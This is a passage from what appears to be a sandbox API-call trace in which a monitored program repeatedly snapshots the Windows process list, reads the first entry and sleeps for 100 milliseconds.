th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.772] Sleep (dwMilliseconds=0x64) [0110.901] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a64 [0110.919] Process32First (in: hSnapshot=0x1a64, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.039] Sleep (dwMilliseconds=0x64) [0111.142] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d54 [0111.157] Process32First (in: hSnapshot=0x1d54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.238] Sleep (dwMilliseconds=0x64) [0111.424] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a5c [0111.440] Process32First (in: hSnapshot=0x1a5c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.518] Sleep (dwMilliseconds=0x64) [0111.620] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a58 [0111.637] Process32First (in: hSnapshot=0x1a58, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.714] Sleep (dwMilliseconds=0x64) [0111.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a88 [0111.857] Process32First (in: hSnapshot=0x1a88, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.957] Sleep (dwMilliseconds=0x64) [0112.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cfc [0112.185] Process32First (in: hSnapshot=0x1cfc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.258] Sleep (dwMilliseconds=0x64) [0112.461] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cdc [0112.475] Process32First (in: hSnapshot=0x1cdc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.543] Sleep (dwMilliseconds=0x64) [0112.718] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0c [0112.813] Process32First (in: hSnapshot=0x1d0c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.880] Sleep (dwMilliseconds=0x64) [0113.056] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a40 [0113.077] Process32First (in: hSnapshot=0x1a40, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.264] Sleep (dwMilliseconds=0x64) [0113.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a44 [0113.381] Process32First (in: hSnapshot=0x1a44, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.484] Sleep (dwMilliseconds=0x64) [0113.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc4 [0113.605] Process32First (in: hSnapshot=0x1cc4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.783] Sleep (dwMilliseconds=0x64) [0113.967] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d74 [0113.988] Process32First (in: hSnapshot=0x1d74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.297] Sleep (dwMilliseconds=0x64) [0114.417] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d74 [0114.433] Process32First (in: hSnapshot=0x1d74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.543] Sleep (dwMilliseconds=0x64) [0114.644] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d74 [0114.656] Process32First (in: hSnapshot=0x1d74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.805] Sleep (dwMilliseconds=0x64) [0114.919] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cdc [0114.932] Process32First (in: hSnapshot=0x1cdc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.997] Sleep (dwMilliseconds=0x64) [0115.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cdc [0115.117] Process32First (in: hSnapshot=0x1cdc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.197] Sleep (dwMilliseconds=0x64) [0115.298] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d74 [0115.312] Process32First (in: hSnapshot=0x1d74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.454] Sleep (dwMilliseconds=0x64) [0115.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d74 [0115.663] Process32First (in: hSnapshot=0x1d74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.873] Sleep (dwMilliseconds=0x64) [0115.984] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cb4 [0115.999] Process32First (in: hSnapshot=0x1cb4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.081] Sleep (dwMilliseconds=0x64) [0116.256] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c94 [0116.272] Process32First (in: hSnapshot=0x1c94, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.335] Sleep (dwMilliseconds=0x64) [0116.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8c [0116.483] Process32First (in: hSnapshot=0x1c8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.638] Sleep (dwMilliseconds=0x64) [0116.739] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a20 [0116.759] Process32First (in: hSnapshot=0x1a20, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.844] Sleep (dwMilliseconds=0x64) [0116.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c7c [0117.008] Process32First (in: hSnapshot=0x1c7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.098] Sleep (dwMilliseconds=0x64) [0117.225] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c94 [0117.238] Process32First (in: hSnapshot=0x1c94, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.302] Sleep (dwMilliseconds=0x64) [0117.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c74 [0117.428] Process32First (in: hSnapshot=0x1c74, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.511] Sleep (dwMilliseconds=0x64) [0117.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1200 [0117.774] Process32First (in: hSnapshot=0x1200, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.867] Sleep (dwMilliseconds=0x64) [0117.968] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0118.053] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.129] Sleep (dwMilliseconds=0x64) [0118.237] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca8 [0118.258] Process32First (in: hSnapshot=0x1ca8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.370] Sleep (dwMilliseconds=0x64) [0118.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c14 [0118.553] Process32First (in: hSnapshot=0x1c14, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.673] Sleep (dwMilliseconds=0x64) [0118.824] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c48 [0118.841] Process32First (in: hSnapshot=0x1c48, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.986] Sleep (dwMilliseconds=0x64) [0119.087] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1198 [0119.099] Process32First (in: hSnapshot=0x1198, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.163] Sleep (dwMilliseconds=0x64) [0119.291] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a10 [0119.461] Process32First (in: hSnapshot=0x1a10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.553] Sleep (dwMilliseconds=0x64) [0119.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a10 [0119.676] Process32First (in: hSnapshot=0x1a10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.775] Sleep (dwMilliseconds=0x64) [0119.909] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c64 [0119.922] Process32First (in: hSnapshot=0x1c64, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.048] Sleep (dwMilliseconds=0x64) [0120.165] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ccc [0120.177] Process32First (in: hSnapshot=0x1ccc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.292] Sleep (dwMilliseconds=0x64) [0120.392] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ccc [0120.408] Process32First (in: hSnapshot=0x1ccc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.483] Sleep (dwMilliseconds=0x64) [0120.603] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c60 [0120.619] Process32First (in: hSnapshot=0x1c60, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.696] Sleep (dwMilliseconds=0x64) [0120.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c60 [0120.814] Process32First (in: hSnapshot=0x1c60, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.960] Sleep (dwMilliseconds=0x64) [0121.092] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c6c [0121.105] Process32First (in: hSnapshot=0x1c6c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.219] Sleep (dwMilliseconds=0x64) [0121.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c6c [0121.419] Process32First (in: hSnapshot=0x1c6c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.504] Sleep (dwMilliseconds=0x64) [0121.647] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19f4 [0121.658] Process32First (in: hSnapshot=0x19f4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.755] Sleep (dwMilliseconds=0x64) [0121.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a04 [0121.869] Process32First (in: hSnapshot=0x1a04, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.968] Sleep (dwMilliseconds=0x64) [0122.094] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c34 [0122.110] Process32First (in: hSnapshot=0x1c34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.192] Sleep (dwMilliseconds=0x64) [0122.304] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c30 [0122.322] Process32First (in: hSnapshot=0x1c30, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.391] Sleep (dwMilliseconds=0x64) [0122.493] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c60 [0122.508] Process32First (in: hSnapshot=0x1c60, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.657] Sleep (dwMilliseconds=0x64) [0122.758] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c30 [0122.773] Process32First (in: hSnapshot=0x1c30, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0122.871] Sleep (dwMilliseconds=0x64) [0122.971] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c34 [0122.983] Process32First (in: hSnapshot=0x1c34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.173] Sleep (dwMilliseconds=0x64) [0123.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1be4 [0123.293] Process32First (in: hSnapshot=0x1be4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.393] Sleep (dwMilliseconds=0x64) [0123.545] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19d8 [0123.557] Process32First (in: hSnapshot=0x19d8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.687] Sleep (dwMilliseconds=0x64) [0123.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19f8 [0123.801] Process32First (in: hSnapshot=0x19f8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.894] Sleep (dwMilliseconds=0x64) [0123.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c34 [0124.013] Process32First (in: hSnapshot=0x1c34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.138] Sleep (dwMilliseconds=0x64) [0124.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19dc [0124.255] Process32First (in: hSnapshot=0x19dc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.330] Sleep (dwMilliseconds=0x64) [0124.491] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bf8 [0124.501] Process32First (in: hSnapshot=0x1bf8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.609] Sleep (dwMilliseconds=0x64) [0124.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe1c [0124.724] Process32First (in: hSnapshot=0xe1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.822] Sleep (dwMilliseconds=0x64) [0124.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c34 [0124.997] Process32First (in: hSnapshot=0x1c34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.106] Sleep (dwMilliseconds=0x64) [0125.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19cc [0125.219] Process32First (in: hSnapshot=0x19cc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.300] Sleep (dwMilliseconds=0x64) [0125.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c34 [0125.442] Process32First (in: hSnapshot=0x1c34, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.505] Sleep (dwMilliseconds=0x64) [0125.644] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bcc [0125.660] Process32First (in: hSnapshot=0x1bcc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.740] Sleep (dwMilliseconds=0x64) [0125.955] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19bc [0125.966] Process32First (in: hSnapshot=0x19bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 